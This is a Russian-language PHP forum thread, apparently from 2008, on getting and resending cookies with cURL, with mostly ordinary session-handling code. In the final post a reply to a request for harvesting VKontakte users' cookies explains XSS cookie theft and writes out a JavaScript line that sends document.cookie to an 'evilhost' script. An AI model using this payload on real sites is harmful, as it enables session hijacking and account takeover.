Получить куки [php]

Discussion in 'PHP' started by bad_signal, 10 Dec 2008.

  1. bad_signal

    bad_signal New Member

    Joined:
    23 Jan 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте.
    Встала задача зайти на сайт 2раза при помощи PHP.
    В первый раp мне нужно зайти и получить какие-то данные, которые я смогу вписать при втором заходе.
    Тобиш куки или сессии.

    Каким образом это можно осуществить?
    Если можно, то выложите кусочек кода.
     
  2. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    Сессии

     
  3. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    $lol = curl_init('http://mail.ru');
    curl_setopt($lol, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($lol, CURLOPT_COOKIE,$cookie);
    $pol = curl_exec($lol);
     
  4. preda1or

    preda1or Member

    Joined:
    27 Oct 2008
    Messages:
    167
    Likes Received:
    96
    Reputations:
    6
    Cookies:
     
  5. FeoЩту

    FeoЩту New Member

    Joined:
    13 Nov 2008
    Messages:
    29
    Likes Received:
    4
    Reputations:
    0
    Code:
    session_start();
    if(!isset($_SESSION['temp'])) {
    $_SESSION['temp'] = 'true';
    } else {
    echo $_SESSION['temp'];
    unset($_SESSION['temp']);
    }
     
  6. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    2preda1or, скрипт отобразит инфу после релойда страницы, т.к сначала браузер получит куки, но не передаст на сервер :)

    2остальным, не путайте сессии с cookie. Файлы сессий хранятся на сервере, а печеньки на стороне клиента.
     
  7. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    А идентификатор сессии, как правило, в печеньках...
     
  8. .:nbd:.

    .:nbd:. Elder - Старейшина

    Joined:
    27 Jul 2008
    Messages:
    97
    Likes Received:
    27
    Reputations:
    1
    ТС спросил как получить, а не как написать скрипт который создает сессии или устанавливает куки. ТС куки приходят в заголовке SetCookie ответа после первого обращения к серверу. Прарсим заголовки, сохраняем установленные плюшки, дальше как написал 159932.

    код примерно такой:
    PHP:
    $url='http://site.ru/index.php';
    //задаем урл

    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$url); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_HEADER,1);
    $temp=curl_exec($ch);
    curl_close($ch);
    //отправляем CURLом get запрос и сохраняем ответ в $temp

    $cookie_pattern="|Set\-Cookie\:\s(.*);\sdomain|";
    preg_match_all($cook_pattern$temp$out);
    $cookie='Cookie: '.$out[1][0];
    //парсим куки из ответа и присваиваем переменной $cookie значение установленных плюшек

    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$url); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_COOKIE,$cookie);
    $temp=curl_exec($ch);
    curl_close($ch);
    //засылаем CURLом плюшки обратно
     
    Но.
    Сервер плюшки обычно ставить только после каких либо действий, например авторизации. Для того, чтобы залогиниться нужно будет отправить POSTом (обчно это пост) логин и пасс (ну как минимум) в первом запросе. Тогда его код изменится на :

    PHP:
     $post_data='login=vasya&pass=trucoder';

    $ch curl_init();
    curl_setopt($chCURLOPT_URL,$url); 
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_POSTFIELDS$post_data);
    curl_setopt($chCURLOPT_HEADER,1);
    $temp=curl_exec($ch);
    curl_close($ch); 
    Для полного ответа задай правильно вопрос, что именно тебе нужно сделать.
     
    #8 .:nbd:., 11 Dec 2008
    Last edited: 11 Dec 2008
    2 people like this.
  9. bad_signal

    bad_signal New Member

    Joined:
    23 Jan 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Спс. И ещё вопросик, как можно сам код страницы курлами вытащить для дальнейшего поиска в нём строки? Если не сложно то выложите кусочек кода. Заранее спасибо
     
  10. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Ответ на вопрос здесь дал только .:nbd:., остальные чисто понты гоняют или вопрос плохо поняли)

    собственно в примере .:nbd:. переменная $temp и будет содержать код полученной страницы.
     
  11. bad_signal

    bad_signal New Member

    Joined:
    23 Jan 2008
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    спс, решил проверить
    $res = curl_exec($ch1);
    echo $res;

    но не выводит почемуто код
     
  12. Design_Corn

    Design_Corn Member

    Joined:
    15 Jul 2008
    Messages:
    4
    Likes Received:
    5
    Reputations:
    0
    Встала такая похожая задача, не буду создавать новую тему.

    Нужно зайти на сайт вывести с него капчу.
    Затем через пост, я ввожу капчу.
    Затем нужно что бы эта капча передалась на тот сайт.

    Т.е. мне не нужно терять сессию между вводом капчи.

    Как мне сделать таковое?
     
  13. lol100

    lol100 New Member

    Joined:
    3 Nov 2008
    Messages:
    23
    Likes Received:
    0
    Reputations:
    0
    Раз данный топик по теме как получить куки, подскажите пожалуйста каки образом можно осушествить что скрипт сам получил куки и записал их в фаил, нужно чтоб скрипт получил куки с Вконтакте, руками получается так когда авторизированы javascript:document.write(document.cookie) нужно чтоб ето сделал скрипт по списку аккаунтов собрал их куки. Заранее спасибо
     
  14. Design_Corn

    Design_Corn Member

    Joined:
    15 Jul 2008
    Messages:
    4
    Likes Received:
    5
    Reputations:
    0
    lol100
    curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt");
     
  15. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    lol100, ты вообще в курсах что такое куки как их готовят и едят?

    Получить куки владельцев аккаунта можно только если скрипт запущен на сервере VKONTAKTE, тогда ты сможешь и в файл их записать и т.д. Ну или же если ты найдёшь какую-то XSS и выполнишь JavaScript код на стороне браузера владельца аккаунта VKONTAKTE, но JavaScript не умеет писать в файл, тебе придётся редиректить на какой-то другой внешний скрипт, который будет писать куки в файл:

    Code:
    document.location = 'http://evilhost.ru/evilscript.php?var=' + document.cookie